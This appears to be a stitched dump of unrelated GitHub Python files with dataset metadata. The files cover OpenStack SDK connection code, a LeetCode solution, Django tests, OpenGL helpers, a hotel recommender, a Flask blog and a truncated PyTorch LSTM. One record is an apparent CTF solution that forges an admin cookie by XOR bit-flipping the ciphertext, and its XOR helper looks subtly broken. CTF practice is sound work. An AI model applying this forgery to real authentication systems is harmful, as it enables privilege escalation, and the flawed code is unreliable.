self._session = self.config.get_session()\n # Hide a reference to the connection on the session to help with\n # backwards compatibility for folks trying to just pass\n # conn.session to a Resource method's session argument.\n self.session._sdk_connection = weakref.proxy(self)\n return self._session\n\n def add_service(self, service):\n \"\"\"Add a service to the Connection.\n\n Attaches an instance of the :class:`~openstack.proxy.Proxy`\n class contained in\n :class:`~openstack.service_description.ServiceDescription`.\n The :class:`~openstack.proxy.Proxy` will be attached to the\n `Connection` by its ``service_type`` and by any ``aliases`` that\n may be specified.\n\n :param openstack.service_description.ServiceDescription service:\n Object describing the service to be attached. As a convenience,\n if ``service`` is a string it will be treated as a ``service_type``\n and a basic\n :class:`~openstack.service_description.ServiceDescription`\n will be created.\n \"\"\"\n # If we don't have a proxy, just instantiate Proxy so that\n # we get an adapter.\n if isinstance(service, str):\n service = service_description.ServiceDescription(service)\n\n # Directly invoke descriptor of the ServiceDescription\n def getter(self):\n return service.__get__(self, service)\n\n # Register the ServiceDescription class (as property)\n # with every known alias for a \"runtime descriptor\"\n for attr_name in service.all_types:\n setattr(\n self.__class__,\n attr_name.replace('-', '_'),\n property(fget=getter),\n )\n self.config.enable_service(service.service_type)\n\n def authorize(self):\n \"\"\"Authorize this Connection\n\n .. note:: This method is optional. When an application makes a call\n to any OpenStack service, this method allows you to request\n a token manually before attempting to do anything else.\n\n :returns: A string token.\n\n :raises: :class:`~openstack.exceptions.HttpException` if the\n authorization fails due to reasons like the credentials\n provided are unable to be authorized or the `auth_type`\n argument is missing, etc.\n \"\"\"\n try:\n return self.session.get_token()\n except keystoneauth1.exceptions.ClientException as e:\n raise exceptions.SDKException(e)\n\n @property\n def _pool_executor(self):\n if not self.__pool_executor:\n self.__pool_executor = concurrent.futures.ThreadPoolExecutor(\n max_workers=5\n )\n return self.__pool_executor\n\n def close(self):\n \"\"\"Release any resources held open.\"\"\"\n self.config.set_auth_cache()\n if self.__pool_executor:\n self.__pool_executor.shutdown()\n atexit.unregister(self.close)\n\n def set_global_request_id(self, global_request_id):\n self._global_request_id = global_request_id\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.close()\n", "repo_name": "openstack/openstacksdk", "sub_path": "openstack/connection.py", "file_name": "connection.py", "file_ext": "py", "file_size_in_byte": 22463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 245, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requestsexceptions.SubjectAltNameWarning", "line_number": 244, "usage_type": "attribute"}, {"api_name": "warnings.filterwarnings", "line_number": 245, "usage_type": "call"}, {"api_name": "requestsexceptions.SubjectAltNameWarning", "line_number": 246, "usage_type": "attribute"}, {"api_name": "openstack._log.setup_logging", "line_number": 249, "usage_type": "call"}, {"api_name": "openstack._log", "line_number": 249, "usage_type": "name"}, {"api_name": "openstack.config.OpenStackConfig", "line_number": 275, "usage_type": "call"}, {"api_name": "openstack.config", "line_number": 275, "usage_type": "name"}, {"api_name": "openstack._services_mixin.ServicesMixin", "line_number": 283, "usage_type": "attribute"}, {"api_name": "openstack._services_mixin", "line_number": 283, "usage_type": "name"}, {"api_name": "openstack.cloud.openstackcloud._OpenStackCloudMixin", "line_number": 284, "usage_type": "attribute"}, {"api_name": "openstack.cloud.openstackcloud", "line_number": 284, "usage_type": "name"}, {"api_name": "openstack.cloud._accelerator.AcceleratorCloudMixin", "line_number": 285, "usage_type": "attribute"}, {"api_name": "openstack.cloud._accelerator", "line_number": 285, "usage_type": "name"}, {"api_name": "openstack.cloud._baremetal.BaremetalCloudMixin", "line_number": 286, "usage_type": "attribute"}, {"api_name": "openstack.cloud._baremetal", "line_number": 286, "usage_type": "name"}, {"api_name": "openstack.cloud._block_storage.BlockStorageCloudMixin", "line_number": 287, "usage_type": "attribute"}, {"api_name": "openstack.cloud._block_storage", "line_number": 287, "usage_type": "name"}, {"api_name": "openstack.cloud._compute.ComputeCloudMixin", "line_number": 288, "usage_type": "attribute"}, {"api_name": "openstack.cloud._compute", "line_number": 288, "usage_type": "name"}, {"api_name": "openstack.cloud._coe.CoeCloudMixin", "line_number": 289, "usage_type": "attribute"}, {"api_name": "openstack.cloud._coe", "line_number": 289, "usage_type": "name"}, {"api_name": "openstack.cloud._dns.DnsCloudMixin", "line_number": 290, "usage_type": "attribute"}, {"api_name": "openstack.cloud._dns", "line_number": 290, "usage_type": "name"}, {"api_name": "openstack.cloud._floating_ip.FloatingIPCloudMixin", "line_number": 291, "usage_type": "attribute"}, {"api_name": "openstack.cloud._floating_ip", "line_number": 291, "usage_type": "name"}, {"api_name": "openstack.cloud._identity.IdentityCloudMixin", "line_number": 292, "usage_type": "attribute"}, {"api_name": "openstack.cloud._identity", "line_number": 292, "usage_type": "name"}, {"api_name": "openstack.cloud._image.ImageCloudMixin", "line_number": 293, "usage_type": "attribute"}, {"api_name": "openstack.cloud._image", "line_number": 293, "usage_type": "name"}, {"api_name": "openstack.cloud._network.NetworkCloudMixin", "line_number": 294, "usage_type": "attribute"}, {"api_name": "openstack.cloud._network", "line_number": 294, "usage_type": "name"}, {"api_name": "openstack.cloud._network_common.NetworkCommonCloudMixin", "line_number": 295, "usage_type": "attribute"}, {"api_name": "openstack.cloud._network_common", "line_number": 295, "usage_type": "name"}, {"api_name": "openstack.cloud._object_store.ObjectStoreCloudMixin", "line_number": 296, "usage_type": "attribute"}, {"api_name": "openstack.cloud._object_store", "line_number": 296, "usage_type": "name"}, {"api_name": "openstack.cloud._orchestration.OrchestrationCloudMixin", "line_number": 297, "usage_type": "attribute"}, {"api_name": "openstack.cloud._orchestration", "line_number": 297, "usage_type": "name"}, {"api_name": "openstack.cloud._security_group.SecurityGroupCloudMixin", "line_number": 298, "usage_type": "attribute"}, {"api_name": "openstack.cloud._security_group", "line_number": 298, "usage_type": "name"}, {"api_name": "openstack.cloud._shared_file_system.SharedFileSystemCloudMixin", "line_number": 299, "usage_type": "attribute"}, {"api_name": "openstack.cloud._shared_file_system", "line_number": 299, "usage_type": "name"}, {"api_name": "openstack.config.cloud_region.from_conf", "line_number": 404, "usage_type": "call"}, {"api_name": "openstack.config.cloud_region", "line_number": 404, "usage_type": "name"}, {"api_name": "openstack.config.cloud_region.from_session", "line_number": 412, "usage_type": "call"}, {"api_name": "openstack.config.cloud_region", "line_number": 412, "usage_type": "name"}, {"api_name": "openstack.config.get_cloud_region", "line_number": 422, "usage_type": "call"}, {"api_name": "openstack.config", "line_number": 422, "usage_type": "name"}, {"api_name": "openstack.cloud.openstackcloud._OpenStackCloudMixin.__init__", "line_number": 440, "usage_type": "call"}, {"api_name": "openstack.cloud.openstackcloud._OpenStackCloudMixin", "line_number": 440, "usage_type": "attribute"}, {"api_name": "openstack.cloud.openstackcloud", "line_number": 440, "usage_type": "name"}, {"api_name": "openstack.cloud._accelerator.AcceleratorCloudMixin.__init__", "line_number": 441, "usage_type": "call"}, {"api_name": "openstack.cloud._accelerator.AcceleratorCloudMixin", "line_number": 441, "usage_type": "attribute"}, {"api_name": "openstack.cloud._accelerator", "line_number": 441, "usage_type": "name"}, {"api_name": "openstack.cloud._baremetal.BaremetalCloudMixin.__init__", "line_number": 442, "usage_type": "call"}, {"api_name": "openstack.cloud._baremetal.BaremetalCloudMixin", "line_number": 442, "usage_type": "attribute"}, {"api_name": "openstack.cloud._baremetal", "line_number": 442, "usage_type": "name"}, {"api_name": "openstack.cloud._block_storage.BlockStorageCloudMixin.__init__", "line_number": 443, "usage_type": "call"}, {"api_name": "openstack.cloud._block_storage.BlockStorageCloudMixin", "line_number": 443, "usage_type": "attribute"}, {"api_name": "openstack.cloud._block_storage", "line_number": 443, "usage_type": "name"}, {"api_name": "openstack.cloud._coe.CoeCloudMixin.__init__", "line_number": 444, "usage_type": "call"}, {"api_name": "openstack.cloud._coe.CoeCloudMixin", "line_number": 444, "usage_type": "attribute"}, {"api_name": "openstack.cloud._coe", "line_number": 444, "usage_type": "name"}, {"api_name": "openstack.cloud._compute.ComputeCloudMixin.__init__", "line_number": 445, "usage_type": "call"}, {"api_name": "openstack.cloud._compute.ComputeCloudMixin", "line_number": 445, "usage_type": "attribute"}, {"api_name": "openstack.cloud._compute", "line_number": 445, "usage_type": "name"}, {"api_name": "openstack.cloud._dns.DnsCloudMixin.__init__", "line_number": 446, "usage_type": "call"}, {"api_name": "openstack.cloud._dns.DnsCloudMixin", "line_number": 446, "usage_type": "attribute"}, {"api_name": "openstack.cloud._dns", "line_number": 446, "usage_type": "name"}, {"api_name": "openstack.cloud._floating_ip.FloatingIPCloudMixin.__init__", "line_number": 447, "usage_type": "call"}, {"api_name": "openstack.cloud._floating_ip.FloatingIPCloudMixin", "line_number": 447, "usage_type": "attribute"}, {"api_name": "openstack.cloud._floating_ip", "line_number": 447, "usage_type": "name"}, {"api_name": "openstack.cloud._identity.IdentityCloudMixin.__init__", "line_number": 448, "usage_type": "call"}, {"api_name": "openstack.cloud._identity.IdentityCloudMixin", "line_number": 448, "usage_type": "attribute"}, {"api_name": "openstack.cloud._identity", "line_number": 448, "usage_type": "name"}, {"api_name": "openstack.cloud._image.ImageCloudMixin.__init__", "line_number": 449, "usage_type": "call"}, {"api_name": "openstack.cloud._image.ImageCloudMixin", "line_number": 449, "usage_type": "attribute"}, {"api_name": "openstack.cloud._image", "line_number": 449, "usage_type": "name"}, {"api_name": "openstack.cloud._network_common.NetworkCommonCloudMixin.__init__", "line_number": 450, "usage_type": "call"}, {"api_name": "openstack.cloud._network_common.NetworkCommonCloudMixin", "line_number": 450, "usage_type": "attribute"}, {"api_name": "openstack.cloud._network_common", "line_number": 450, "usage_type": "name"}, {"api_name": "openstack.cloud._network.NetworkCloudMixin.__init__", "line_number": 451, "usage_type": "call"}, {"api_name": "openstack.cloud._network.NetworkCloudMixin", "line_number": 451, "usage_type": "attribute"}, {"api_name": "openstack.cloud._network", "line_number": 451, "usage_type": "name"}, {"api_name": "openstack.cloud._object_store.ObjectStoreCloudMixin.__init__", "line_number": 452, "usage_type": "call"}, {"api_name": "openstack.cloud._object_store.ObjectStoreCloudMixin", "line_number": 452, "usage_type": "attribute"}, {"api_name": "openstack.cloud._object_store", "line_number": 452, "usage_type": "name"}, {"api_name": "openstack.cloud._orchestration.OrchestrationCloudMixin.__init__", "line_number": 453, "usage_type": "call"}, {"api_name": "openstack.cloud._orchestration.OrchestrationCloudMixin", "line_number": 453, "usage_type": "attribute"}, {"api_name": "openstack.cloud._orchestration", "line_number": 453, "usage_type": "name"}, {"api_name": "openstack.cloud._security_group.SecurityGroupCloudMixin.__init__", "line_number": 454, "usage_type": "call"}, {"api_name": "openstack.cloud._security_group.SecurityGroupCloudMixin", "line_number": 454, "usage_type": "attribute"}, {"api_name": "openstack.cloud._security_group", "line_number": 454, "usage_type": "name"}, {"api_name": "openstack.cloud._shared_file_system.SharedFileSystemCloudMixin.__init__", "line_number": 455, "usage_type": "call"}, {"api_name": "openstack.cloud._shared_file_system.SharedFileSystemCloudMixin", "line_number": 455, "usage_type": "attribute"}, {"api_name": "openstack.cloud._shared_file_system", "line_number": 455, "usage_type": "name"}, {"api_name": "importlib_metadata.EntryPoint", "line_number": 471, "usage_type": "call"}, {"api_name": "atexit.register", "line_number": 500, "usage_type": "call"}, {"api_name": "weakref.proxy", "line_number": 509, "usage_type": "call"}, {"api_name": "openstack.service_description.ServiceDescription", "line_number": 532, "usage_type": "call"}, {"api_name": "openstack.service_description", "line_number": 532, "usage_type": "name"}, {"api_name": "keystoneauth1.exceptions.exceptions", "line_number": 564, "usage_type": "attribute"}, {"api_name": "keystoneauth1.exceptions", "line_number": 564, "usage_type": "name"}, {"api_name": "openstack.exceptions.SDKException", "line_number": 565, "usage_type": "call"}, {"api_name": "openstack.exceptions", "line_number": 565, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 570, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 570, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 570, "usage_type": "name"}, {"api_name": "atexit.unregister", "line_number": 580, "usage_type": "call"}]} {"seq_id": "71236538144", "text": "class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nfrom typing import Optional\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n # Reverse the order of digits using stacks\n stack1 = []\n stack2 = []\n\n while l1:\n stack1.append(l1.val)\n l1 = l1.next\n\n while l2:\n stack2.append(l2.val)\n l2 = l2.next\n\n carry = 0\n result = None\n\n # Perform addition starting from the least significant digit\n while stack1 or stack2 or carry:\n val1 = stack1.pop() if stack1 else 0\n val2 = stack2.pop() if stack2 else 0\n\n # Calculate the sum and carry\n total = val1 + val2 + carry\n carry = total // 10\n\n # Create a new node with the current digit\n node = ListNode(total % 10)\n\n # Update the next pointer of the new node\n node.next = result\n result = node\n\n return result\ns=Solution()\n\n# Test Case 1\nl1 = ListNode(7, ListNode(2, ListNode(4, ListNode(3))))\nl2 = ListNode(5, ListNode(6, ListNode(4)))\nresult = s.addTwoNumbers(l1, l2)\nprint(result.val, result.next.val, result.next.next.val, result.next.next.next.val)\n# output: 7 8 0 7\n\n# Test Case 2\nl1 = ListNode(2, ListNode(4, ListNode(3)))\nl2 = ListNode(5, ListNode(6, ListNode(4)))\nresult = s.addTwoNumbers(l1, l2)\nprint(result.val, result.next.val, result.next.next.val)\n# output: 8 0 7\n\n# Test Case 3\nl1 = ListNode(0)\nl2 = ListNode(0)\nresult = s.addTwoNumbers(l1, l2)\nprint(result.val)\n# output: 0", "repo_name": "Raafeh/100DaysOfCoding", "sub_path": "day12/Solution.py", "file_name": "Solution.py", "file_ext": "py", "file_size_in_byte": 1673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Optional", "line_number": 8, "usage_type": "name"}]} {"seq_id": "74874462301", "text": "\"\"\"Test cases related to the django country filter provider.\"\"\"\n\nfrom django_country_filter.cache_provider_factory import (\n CacheProviderFactory\n)\nfrom django.test import override_settings\n\n\ndef test_provider_with_default_provider(\n get_request_mock, get_geoip_provider_mock\n):\n \"\"\"Must return a correct provider with default cache provider.\"\"\"\n factory = CacheProviderFactory(get_request_mock)\n assert 'DefaultCacheProvider' in factory.provider.__str__()\n\n\n@override_settings(DJANGO_COUNTRY_FILTER={\n 'cache_provider': 'CacheProviderMock',\n 'cache_provider_path': 'tests.mocks.providers.cache.cache_provider_mock'\n})\ndef test_provider_get_custom_provider(\n get_request_mock, get_geoip_provider_mock\n):\n \"\"\"Must return a correct provider with custom cache provider.\"\"\"\n factory = CacheProviderFactory(get_request_mock)\n assert 'CacheProviderMock' in factory.provider.__str__()\n\n\n", "repo_name": "xxpauloxx/django-country-filter", "sub_path": "tests/tests_cache_provider_factory.py", "file_name": "tests_cache_provider_factory.py", "file_ext": "py", "file_size_in_byte": 917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django_country_filter.cache_provider_factory.CacheProviderFactory", "line_number": 13, "usage_type": "call"}, {"api_name": "django_country_filter.cache_provider_factory.CacheProviderFactory", "line_number": 25, "usage_type": "call"}, {"api_name": "django.test.override_settings", "line_number": 17, "usage_type": "call"}]} {"seq_id": "11727121388", "text": "from typing import NamedTuple\nfrom OpenGL import GL\n\n\ndef get_info():\n from OpenGL.GL import (\n glGetString,\n glGetIntegerv,\n GL_VENDOR,\n GL_VERSION,\n GL_SHADING_LANGUAGE_VERSION,\n GL_RENDERER,\n GL_MAJOR_VERSION,\n GL_MINOR_VERSION,\n )\n\n return {\n \"major\": glGetIntegerv(GL_MAJOR_VERSION),\n \"minor\": glGetIntegerv(GL_MINOR_VERSION),\n \"vendor\": glGetString(GL_VENDOR),\n \"version\": glGetString(GL_VERSION),\n \"shader_language_version\": glGetString(GL_SHADING_LANGUAGE_VERSION),\n \"renderer\": glGetString(GL_RENDERER),\n }\n\n\nclass GLContextHint(NamedTuple):\n major: int = 4\n minor: int = 5\n core_profile: bool = True\n compatible: bool = False\n\n\ndef get_desktop_scaling_factor():\n \"\"\"\n for high DPI desktop\n \"\"\"\n import platform\n\n if platform.platform().startswith(\"Windows\"):\n from ctypes import windll\n\n desktop = windll.user32.GetDC(0)\n LogicalScreenHeight = windll.gdi32.GetDeviceCaps(desktop, 10) # VERTRES\n PhysicalScreenHeight = windll.gdi32.GetDeviceCaps(\n desktop, 117\n ) # DESKTOPVERTRES\n return PhysicalScreenHeight / LogicalScreenHeight\n\n return 1\n\n\nclass DummyScene:\n def __init__(self) -> None:\n pass\n\n def resize(self, w, h):\n GL.glViewport(0, 0, w, h)\n\n def draw(self):\n GL.glClearColor(1, 0, 1, 1)\n GL.glClear(GL.GL_COLOR_BUFFER_BIT)\n", "repo_name": "ousttrue/glglue", "sub_path": "glglue/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 1475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "OpenGL.GL.glGetIntegerv", "line_number": 18, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_MAJOR_VERSION", "line_number": 18, "usage_type": "argument"}, {"api_name": "OpenGL.GL.glGetIntegerv", "line_number": 19, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_MINOR_VERSION", "line_number": 19, "usage_type": "argument"}, {"api_name": "OpenGL.GL.glGetString", "line_number": 20, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_VENDOR", "line_number": 20, "usage_type": "argument"}, {"api_name": "OpenGL.GL.glGetString", "line_number": 21, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_VERSION", "line_number": 21, "usage_type": "argument"}, {"api_name": "OpenGL.GL.glGetString", "line_number": 22, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_SHADING_LANGUAGE_VERSION", "line_number": 22, "usage_type": "argument"}, {"api_name": "OpenGL.GL.glGetString", "line_number": 23, "usage_type": "call"}, {"api_name": "OpenGL.GL.GL_RENDERER", "line_number": 23, "usage_type": "argument"}, {"api_name": "typing.NamedTuple", "line_number": 27, "usage_type": "name"}, {"api_name": "platform.platform", "line_number": 40, "usage_type": "call"}, {"api_name": "ctypes.windll.user32.GetDC", "line_number": 43, "usage_type": "call"}, {"api_name": "ctypes.windll.user32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "ctypes.windll", "line_number": 43, "usage_type": "name"}, {"api_name": "ctypes.windll.gdi32.GetDeviceCaps", "line_number": 44, "usage_type": "call"}, {"api_name": "ctypes.windll.gdi32", "line_number": 44, "usage_type": "attribute"}, {"api_name": "ctypes.windll", "line_number": 44, "usage_type": "name"}, {"api_name": "ctypes.windll.gdi32.GetDeviceCaps", "line_number": 45, "usage_type": "call"}, {"api_name": "ctypes.windll.gdi32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "ctypes.windll", "line_number": 45, "usage_type": "name"}, {"api_name": "OpenGL.GL.glViewport", "line_number": 58, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 58, "usage_type": "name"}, {"api_name": "OpenGL.GL.glClearColor", "line_number": 61, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 61, "usage_type": "name"}, {"api_name": "OpenGL.GL.glClear", "line_number": 62, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 62, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COLOR_BUFFER_BIT", "line_number": 62, "usage_type": "attribute"}]} {"seq_id": "7524009835", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.metrics.pairwise import linear_kernel, cosine_similarity\r\n\r\n\r\n\r\ndt=pd.read_csv(\"Fichier de base/Hotels.csv\", sep=\";\")\r\ndt=dt.drop_duplicates(subset=['Name'])\r\n\r\n\r\ntfidf = TfidfVectorizer(stop_words='english')\r\nx=dt[\"Description\"]\r\ny=dt[\"ID\"]\r\nz=dt[\"Name\"]\r\n\r\nx=x.replace(\"None\",None)\r\nx=x.dropna()\r\n\r\n\r\ntfidf_matrix = tfidf.fit_transform(x)\r\nprint(tfidf_matrix)\r\n\r\ncosine_sim = linear_kernel(tfidf_matrix,tfidf_matrix)\r\ncosine_sime= cosine_similarity(tfidf_matrix,tfidf_matrix)\r\ncosine_sim1=cosine_sim[:,0:3]\r\ncosine_sim2=cosine_sime[:,0:3]\r\n\r\n\r\nindices = pd.Series(dt.ID.values,index=dt[\"Name\"])\r\n\r\ndef content_recommender(Name, cosine_sim=cosine_sim, hotel=dt, indices=indices):\r\n idx=indices[Name]\r\n sim_scores= list(enumerate(cosine_sim[idx]))\r\n sim_scores= sorted(sim_scores, key=lambda x : x[1], reverse=True)\r\n sim_scores=sim_scores[1:11]\r\n hotel_indices=[i[0] for i in sim_scores]\r\n return hotel['Name'].iloc[hotel_indices]\r\n\r\n\r\nx=\"The Peninsula Paris\"\r\nlist_recom=content_recommender(x)\r\n\r\nprint(\"Hotel recommandé pour : \"+x)\r\nprint(list_recom)", "repo_name": "azury74/HotelRecomendationSystem", "sub_path": "Test_py/Test_TF-IDF.py", "file_name": "Test_TF-IDF.py", "file_ext": "py", "file_size_in_byte": 1372, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.linear_kernel", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 35, "usage_type": "call"}]} {"seq_id": "27714732830", "text": "#insecure web-based cryptosystem\nimport requests\nfrom binascii import hexlify, unhexlify\nfrom Crypto.Util.Padding import pad, unpad\n#import asyncio\n\n\ndef xorb(a, b, c):\n a = bin(int(a, 16))[2:]\n b = bin(int(b, 16))[2:]\n c = bin(int(c, 16))[2:]\n xor1 = ''.join([str(int(a[i-1]) ^ int(b[i-1])) for i in range(len(a))])\n xor2 = ''.join([str(int(xor1[i-1]) ^ int(c[i-1])) for i in range(len(c))])\n print(a)\n print(b)\n print(xor1)\n print(xor2)\n return int(xor2, 2).to_bytes((len(xor2) + 7 ) // 8, byteorder='big') \n\ndef cookiesolve():\n username = pad('firepwny'.encode(), 16).hex()\n admin_username = pad('admin'.encode(), 16).hex()\n auth = 'a64fe4cb8c85d2d23d416bedb2953c7447df2112c0c59c0c'\n nonce = unhexlify(auth[:16])\n ctext1 = unhexlify(auth[16:]).hex()\n ptext1 = username\n ptext2 = admin_username\n #print(bin(int(ctext1, 16))[2:])\n #print(ptext1)\n #print(ptext2)\n print(nonce)\n admin_auth = hexlify(nonce) + hexlify(xorb(ctext1, ptext1, ptext2))\n\n #admin_auth = hexlify(nonce) + hexlify()\n print(admin_auth)\n\ndef main():\n cookiesolve()\n\nmain()", "repo_name": "nonscaled/ctf", "sub_path": "imaginary/cookiesolve.py", "file_name": "cookiesolve.py", "file_ext": "py", "file_size_in_byte": 1118, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Crypto.Util.Padding.pad", "line_number": 21, "usage_type": "call"}, {"api_name": "Crypto.Util.Padding.pad", "line_number": 22, "usage_type": "call"}, {"api_name": "binascii.unhexlify", "line_number": 24, "usage_type": "call"}, {"api_name": "binascii.unhexlify", "line_number": 25, "usage_type": "call"}, {"api_name": "binascii.hexlify", "line_number": 32, "usage_type": "call"}]} {"seq_id": "23210276721", "text": "from flask import Blueprint, render_template\nfrom .models.auth_register import User\nfrom .models.posts import Posts\nfrom sqlalchemy import func\n\n# Define a Blueprint for 'main' related routes\nbp_main = Blueprint('main', __name__)\n\n\ndef get_user(id):\n \"\"\"\n Fetch a user by their ID.\n\n Parameters:\n - id (int): ID of the user\n\n Returns:\n - User object\n \"\"\"\n post_user = User.query.get_or_404(id)\n return post_user\n\n\ndef best_posts1():\n \"\"\"\n Randomly select 1 post from the database.\n\n Returns:\n - List containing 1 Posts object\n \"\"\"\n posts_to_show1 = Posts.query.order_by(func.random()).limit(1).all()\n return posts_to_show1\n\n\ndef best_posts2():\n \"\"\"\n Randomly select 1 post from the database.\n\n Returns:\n - List containing 1 Posts object\n \"\"\"\n posts_to_show1 = Posts.query.order_by(func.random()).limit(1).all()\n return posts_to_show1\n\n\n@bp_main.route('/', methods=['GET', 'POST'])\ndef index():\n \"\"\"\n Render the home page.\n\n Template:\n - index.html\n\n Allowed Methods:\n - GET: To render the page.\n - POST: Although included, no specific action is taken.\n \"\"\"\n post = Posts.query.all()\n return render_template('index.html', post=post,\n get_user=get_user,\n best_posts1=best_posts1,\n best_posts2=best_posts2)\n\n\n@bp_main.route('/article/')\ndef show_article(url):\n \"\"\"\n Render an individual article page.\n\n Parameters:\n - url (str): URL of the article\n\n Template:\n - article.html\n \"\"\"\n post_view = Posts.query.filter_by(url=url).first()\n return render_template('article.html', post_view=post_view,\n get_user=get_user)\n", "repo_name": "JPC501/pythonchronicles_blog", "sub_path": "blog/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "models.auth_register.User.query.get_or_404", "line_number": 20, "usage_type": "call"}, {"api_name": "models.auth_register.User.query", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.auth_register.User", "line_number": 20, "usage_type": "name"}, {"api_name": "models.posts.Posts.query.order_by", "line_number": 31, "usage_type": "call"}, {"api_name": "models.posts.Posts.query", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.posts.Posts", "line_number": 31, "usage_type": "name"}, {"api_name": "sqlalchemy.func.random", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 31, "usage_type": "name"}, {"api_name": "models.posts.Posts.query.order_by", "line_number": 42, "usage_type": "call"}, {"api_name": "models.posts.Posts.query", "line_number": 42, "usage_type": "attribute"}, {"api_name": "models.posts.Posts", "line_number": 42, "usage_type": "name"}, {"api_name": "sqlalchemy.func.random", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 42, "usage_type": "name"}, {"api_name": "models.posts.Posts.query.all", "line_number": 58, "usage_type": "call"}, {"api_name": "models.posts.Posts.query", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.posts.Posts", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 59, "usage_type": "call"}, {"api_name": "models.posts.Posts.query.filter_by", "line_number": 76, "usage_type": "call"}, {"api_name": "models.posts.Posts.query", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.posts.Posts", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 77, "usage_type": "call"}]} {"seq_id": "40142527593", "text": "import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\n\n\n# Set device\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\n# Hyper Paarmeters\ninput_size = 28\nsequence_length = 28\nhidden_size = 256\nnum_layers = 2\nnum_classes = 10\nlearning_rate = 0.001\nbatch_size = 64\nnum_epochs = 10\n\n# Create d bi-directional LSTM\nclass BRNN(nn.Module):\n\n def __init__(self,input_size,hidden_size,num_layers,num_classes):\n super(BRNN,self).__init__()\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.brnn = nn.LSTM(input_size=input_size,\n hidden_size=hidden_size,num_layers=num_layers,\n batch_first=True,bidirectional=True)\n self.fc = nn.Linear(in_features=hidden_size*2,out_features=num_classes)\n\n\n def forward(self,x):\n h0 = torch.zeros(self.num_layers*2,x.size(0),self.hidden_size).to(device)\n c0 = torch.zeros(self.num_layers*2,x.size(0),self.hidden_size).to(device)\n x ,hidden_state = self.brnn(x,(h0,c0))\n x = x.reshape(x.shape[0],-1)\n x = self.fc(x)\n\n return x\n\n\n\n# load data\ntrain_dataset = datasets.MNIST(root=\"dataset/\",train=True,\n transform=transforms.ToTensor(),download=True)\n\ntrain_loader = DataLoader(dataset=train_dataset,batch_size=batch_size,shuffle=True)\n\n\ntest_dataset = datasets.MNIST(root=\"dataset/\",train=False,\n transform=transforms.ToTensor(),download=True)\n\ntrain_loader = DataLoader(dataset=train_dataset,batch_size=batch_size,shuffle=True)\n\n\nmodel = BRNN(input_size,hidden_size,num_layers,num_classes).to(device)\n\n# Set the loss function and optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(),lr=learning_rate)\n\n# training loop\nfor epoch in range(num_epochs):\n\n for batch_idx,(data,targets) in enumerate(train_loader):\n data = data.to(device).squeeze(axis=1)\n targets = targets.to(device)\n\n\n scores = model(data)\n\n loss = criterion(scores,targets)\n\n\n optimizer.zero_grad()\n loss.backward()\n\n optimizer.step()\n\n\n\ndef check_accuracy(loader,model):\n\n num_correct = 0\n num_samples = 0\n\n with torch.no_grad():\n for x,y in loader:\n x = x.to(device)\n y = y.to(device)\n\n scores = model(x)\n\n _,predections = scores.max(1)\n num_correct += (predections==y).sum()\n num_samples = predections.size(0)\n\n\n\n print(f'Got {num_correct} / {num_samples} with accuracy 